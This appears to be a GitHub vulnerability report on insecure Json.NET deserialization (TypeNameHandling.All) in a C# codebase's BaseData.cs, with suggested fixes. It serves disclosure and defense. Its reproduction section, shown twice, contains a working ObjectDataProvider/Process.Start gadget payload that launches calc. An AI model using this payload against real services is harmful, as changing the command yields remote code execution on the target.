You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The application should not deserialize untrusted data which is user controllable without proper checks and validation of incoming types.
Actual Behavior
While deserializing a string, the deserializer is able to invoke unsafe classes that can execute OS commands due to insecure configuration of TypeNameHandling property in JsonSerializerSettings, which is currently set to All from version 2.3.0.0 to 2.4.0.1. The vulnerable code is in Common/Data/BaseData.cs line 343.
Potential Solution
While deserializing untrusted data. DO NOT use any TypeNameHandling other than None. (Highly Recommended)
If TypeNameHandling other than None is required, then use a SerializationBinder to validate and whitelist the incoming types.
Reproducing the Problem
After opening the solution in visual studio, write the below lines of code in any class that inherits from BaseData class. I have written below code in BasicTemplateAlgorithm.cs.
// string containing exploit code. The string source can be data from remote data server or local file.
string server_data = "{"$type":"System.Windows.Data.ObjectDataProvider,PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList,mscorlib","$values":["calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process,System"}}";
// Call the DeserializeMessage method in BaseData by passing string, which will try to deserialize the string to an object.
object obj = BaseData.DeserializeMessage(server_data);
Rebuild and run the solution. The calculator program will pop up. I have a video POC. Please request in case required
System Information
Tested on Windows 10 with Visual Studio 2019 Community Edition. Codebase version tested 2.4.0.1.
Checklist
I have completely filled out this template
I have confirmed that this issue exists on the current master branch
I have confirmed that this is not a duplicate issue by searching issues
I have provided detailed steps to reproduce the issue
The text was updated successfully, but these errors were encountered:
Expected Behavior
The application should not deserialize untrusted data which is user controllable without proper checks and validation of incoming types.
Actual Behavior
While deserializing a string, the deserializer is able to invoke unsafe classes that can execute OS commands due to insecure configuration of TypeNameHandling property in JsonSerializerSettings, which is currently set to All from version 2.3.0.0 to 2.4.0.1. The vulnerable code is in Common/Data/BaseData.cs line 343.
Potential Solution
Reproducing the Problem
// string containing exploit code. The string source can be data from remote data server or local file.
string server_data = "{"$type":"System.Windows.Data.ObjectDataProvider,PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList,mscorlib","$values":["calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process,System"}}";
// Call the DeserializeMessage method in BaseData by passing string, which will try to deserialize the string to an object.
object obj = BaseData.DeserializeMessage(server_data);
System Information
Tested on Windows 10 with Visual Studio 2019 Community Edition. Codebase version tested 2.4.0.1.
Checklist
master
branchThe text was updated successfully, but these errors were encountered: